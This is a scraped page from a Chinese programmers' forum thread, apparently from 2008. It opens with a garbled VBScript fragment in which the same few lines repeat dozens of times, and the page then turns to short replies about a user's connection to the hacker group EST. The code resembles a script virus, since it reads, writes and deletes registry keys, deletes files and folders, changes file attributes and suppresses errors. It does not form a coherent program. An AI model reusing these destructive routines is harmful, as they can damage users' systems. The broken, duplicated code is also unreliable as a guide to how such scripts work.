    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    ar wh,0
    if ei(wh,1) then fso.deletefile(wh)
    if ei(wh,2) then fso.deletefolder(wh)
    dim d:j="\":on error resume next
    if ei(file,1) then:set ofile=fso.getfile(file):ofile.attributes=cg:set ofile=nothing
    if ei(file,2) then:set ofile=fso.getfolder(file):ofile.attributes=cg:set ofile=nothing
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    if fso.fileexists(name) and wt=1 then ei=true
    if fso.folderexists(name) and wt=2 then ei=true
    dim d:j="\":on error resume next
    if rda=-1 then ws.regdelete rna else ws.regwrite rpa&rna,rda,"REG_SZ"
    dim d:j="\":on error resume next
    if rda=-1 then ws.regdelete rna else ws.regwrite rpa&rna,rda,"REG_SZ"

    顶端 Posted: 2008-03-06 11:25 | [10 楼]
    木鱼



    性别: 保密 状态: 该用户目前不在线
    等级: 荣誉会员
    发贴: 1269
    威望: 0
    浮云: 585
    在线等级:
    注册时间: 2004-09-08
    最后登陆: 2012-02-06

    5come5帮你背单词 [ sphere /sfiə/ n. 球体,范围,领域;a. 球体的 ]


    想问哈est和邪恶八进制有什么关系嘛?
    顶端 Posted: 2008-03-06 12:51 | [11 楼]
    yinx



    性别: 帅哥 状态: 该用户目前不在线
    等级: 人见人爱
    家族: 丢丢
    发贴: 2333
    威望: 0
    浮云: 1260
    在线等级:
    注册时间: 2006-09-15
    最后登陆: 2009-05-11

    5come5帮你背单词 [ suspend /səs'pend/ vt. 悬,挂,吊,暂停,中止 ]


    蝈蝈真刚猛,晚辈深感佩服
    顶端 Posted: 2008-03-07 10:29 | [12 楼]
    est





    性别: 帅哥 状态: 该用户目前不在线
    等级: 荣誉会员
    发贴: 6578
    威望: 3
    浮云: 431
    在线等级:
    注册时间: 2006-10-14
    最后登陆: 2018-07-05

    5come5帮你背单词 [ shame /eim/ n. 耻辱,羞愧,可耻的人或物;vt. 使羞愧 ]


    Quote:
    引用第11楼木鱼于2008-03-06 12:51发表的  :
    想问哈est和邪恶八进制有什么关系嘛?

    没啥子关系的

    我在E.S.T.上的id也是est
    哈哈
    顶端 Posted: 2008-03-07 13:04 | [13 楼]
    est





    性别: 帅哥 状态: 该用户目前不在线
    等级: 荣誉会员
    发贴: 6578
    威望: 3
    浮云: 431
    在线等级:
    注册时间: 2006-10-14
    最后登陆: 2018-07-05

    5come5帮你背单词 [ strong /stroŋ/ a. 强有力的,强壮的,坚强的,强硬的,强烈的,浓的 ]


    Quote:
    引用第12楼yinx于2008-03-07 10:29发表的  :
    蝈蝈真刚猛,晚辈深感佩服

    我才是晚辈哈
    顶端 Posted: 2008-03-07 13:05 | [14 楼]
    « 1 2» Pages: ( 1/2 total )
    我来我网·5come5 Forum » 程序员之家

    Total 0.022677(s) query 5, Time now is:11-22 04:37, Gzip enabled
    Powered by PHPWind v5.3, Localized by 5come5 Tech Team, 黔ICP备16009856号